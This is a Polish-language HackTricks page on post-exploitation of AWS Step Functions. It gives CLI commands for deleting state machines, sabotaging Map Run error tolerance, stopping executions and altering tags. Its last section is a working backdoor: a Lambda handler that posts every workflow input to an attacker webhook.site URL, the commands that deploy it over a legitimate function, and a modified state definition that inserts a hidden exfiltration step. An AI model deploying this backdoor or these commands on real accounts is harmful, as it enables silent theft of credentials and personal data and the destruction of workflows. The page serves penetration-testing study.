7.3 KiB
AWS - Step Functions Post Exploitation
{{#include ../../../../banners/hacktricks-training.md}}
Step Functions
Aby uzyskać więcej informacji o tej usłudze AWS, sprawdź:
{{#ref}} ../../aws-services/aws-stepfunctions-enum.md {{#endref}}
states:RevealSecrets
To uprawnienie pozwala ujawnić poufne dane wewnątrz wykonania. W tym celu trzeba ustawić Inspection level na TRACE oraz parametr revealSecrets na true.

states:DeleteStateMachine, states:DeleteStateMachineVersion, states:DeleteStateMachineAlias
Atakujący z tymi uprawnieniami mógłby trwale usunąć state machines, ich wersje i aliasy. Może to zakłócić krytyczne przepływy pracy, spowodować utratę danych i wymagać znacznego czasu na odzyskanie oraz przywrócenie dotkniętych state machines. Dodatkowo pozwoliłoby to napastnikowi zatrzeć ślady, utrudnić dochodzenia kryminalistyczne i potencjalnie sparaliżować operacje przez usunięcie istotnych procesów automatyzacji i konfiguracji stanów.
Note
- Usunięcie state machine powoduje również usunięcie wszystkich powiązanych wersji i aliasów.
- Usunięcie aliasu state machine nie usuwa wersji state machine, które odwołują się do tego aliasu.
- Nie można usunąć wersji state machine, która jest obecnie referencjonowana przez jeden lub więcej aliasów.
# Delete state machine
aws stepfunctions delete-state-machine --state-machine-arn <value>
# Delete state machine version
aws stepfunctions delete-state-machine-version --state-machine-version-arn <value>
# Delete state machine alias
aws stepfunctions delete-state-machine-alias --state-machine-alias-arn <value>
- Potential Impact: Zakłócenie krytycznych przepływów pracy, utrata danych i przestoje operacyjne.
states:UpdateMapRun
Atakujący z tym uprawnieniem mógłby manipulować konfiguracją obsługi błędów Map Run oraz ustawieniem paralelizmu, zwiększając lub zmniejszając maksymalną liczbę dozwolonych child workflow executions, co bezpośrednio wpływa na wydajność usługi. Dodatkowo atakujący mógłby ingerować w tolerowany procent i liczbę błędów, zmniejszając tę wartość do 0, tak że za każdym razem gdy element zawiedzie, cały map run zakończy się niepowodzeniem, co bezpośrednio wpłynie na state machine execution i potencjalnie zakłóci krytyczne przepływy pracy.
aws stepfunctions update-map-run --map-run-arn <value> [--max-concurrency <value>] [--tolerated-failure-percentage <value>] [--tolerated-failure-count <value>]
- Potencjalny wpływ: Pogorszenie wydajności i zakłócenie krytycznych przepływów pracy.
states:StopExecution
Atakujący posiadający to uprawnienie może zatrzymać wykonanie dowolnej maszyny stanów, przerywając trwające przepływy pracy i procesy. Może to prowadzić do nieukończonych transakcji, zatrzymania operacji biznesowych oraz potencjalnego uszkodzenia danych.
Warning
Ta akcja nie jest obsługiwana przez express state machines.
aws stepfunctions stop-execution --execution-arn <value> [--error <value>] [--cause <value>]
- Potencjalny wpływ: Zakłócenie trwających przepływów pracy, przestoje operacyjne i potencjalne uszkodzenie danych.
states:TagResource, states:UntagResource
Atakujący może dodać, zmodyfikować lub usunąć tagi z zasobów Step Functions, zakłócając alokację kosztów w organizacji, śledzenie zasobów oraz polityki kontroli dostępu oparte na tagach.
aws stepfunctions tag-resource --resource-arn <value> --tags Key=<key>,Value=<value>
aws stepfunctions untag-resource --resource-arn <value> --tag-keys <key>
Potencjalny wpływ: Zakłócenie alokacji kosztów, śledzenia zasobów i polityk kontroli dostępu opartych na tagach.
states:UpdateStateMachine, lambda:UpdateFunctionCode
Atakujący, który przejmie użytkownika lub rolę posiadającą następujące uprawnienia:
{
"Version": "2012-10-17",
"Statement": [
{
"Sid": "AllowUpdateStateMachine",
"Effect": "Allow",
"Action": "states:UpdateStateMachine",
"Resource": "*"
},
{
"Sid": "AllowUpdateFunctionCode",
"Effect": "Allow",
"Action": "lambda:UpdateFunctionCode",
"Resource": "*"
}
]
}
...może przeprowadzić high-impact and stealthy post-exploitation attack poprzez połączenie Lambda backdooring z Step Function logic manipulation.
Scenariusz zakłada, że ofiara używa AWS Step Functions to orchestrate workflows that process sensitive input, takich jak credentials, tokens, lub PII.
Przykładowe wywołanie ofiary:
aws stepfunctions start-execution \
--state-machine-arn arn:aws:states:us-east-1:<victim-account-id>:stateMachine:LegitStateMachine \
--input '{"email": "victim@example.com", "password": "hunter2"}' --profile victim
Jeśli Step Function jest skonfigurowana do wywoływania Lambda takiej jak LegitBusinessLogic, atakujący może przystąpić do dwóch dyskretnych wariantów ataku:
Zaktualizowano funkcję Lambda
Atakujący modyfikuje kod funkcji Lambda już używanej przez Step Function (LegitBusinessLogic), aby po cichu exfiltrate dane wejściowe.
# send_to_attacker.py
import requests
def lambda_handler(event, context):
requests.post("https://webhook.site/<attacker-id>/exfil", json=event)
return {"status": "exfiltrated"}
zip function.zip send_to_attacker.py
aws lambda update-function-code \
--function-name LegitBusinessLogic \
--zip-file fileb://function.zip -profile attacker
Dodaj złośliwy stan do Step Function
Alternatywnie, atakujący może wstrzyknąć exfiltration state na początku przepływu pracy, aktualizując definicję Step Function.
{
"Comment": "Backdoored for Exfiltration",
"StartAt": "OriginalState",
"States": {
"OriginalState": {
"Type": "Task",
"Resource": "arn:aws:lambda:us-east-1:<victim-id>:function:LegitBusinessLogic",
"End": true
}
}
}
aws stepfunctions update-state-machine \
--state-machine-arn arn:aws:states:us-east-1:<victim-id>:stateMachine:LegitStateMachine \
--definition file://malicious_state_definition.json --profile attacker
Atakujący może działać jeszcze bardziej dyskretnie, aktualizując definicję stanu do czegoś takiego { "Comment": "Backdoored for Exfiltration", "StartAt": "ExfiltrateSecrets", "States": { "ExfiltrateSecrets": { "Type": "Task", "Resource": "arn:aws:lambda:us-east-1:victim-id:function:SendToAttacker", "InputPath": "$", "ResultPath": "$.exfil", "Next": "OriginalState" }, "OriginalState": { "Type": "Task", "Resource": "arn:aws:lambda:us-east-1:victim-id:function:LegitBusinessLogic", "End": true } } } gdzie ofiara nie zauważy różnicy
Victim Setup (Context for Exploit)
- A Step Function (
LegitStateMachine) jest używana do przetwarzania wrażliwych danych wejściowych użytkownika. - Wywołuje jedną lub więcej funkcji Lambda, takich jak
LegitBusinessLogic.
Potencjalny wpływ:
- Cicha exfiltration wrażliwych danych, w tym secrets, credentials, API keys i PII.
- Brak widocznych błędów lub awarii w wykonywaniu workflow.
- Trudne do wykrycia bez audytu kodu Lambda lub śladów wykonania.
- Umożliwia długoterminową persistence, jeśli backdoor pozostanie w kodzie lub logice ASL.
{{#include ../../../../banners/hacktricks-training.md}}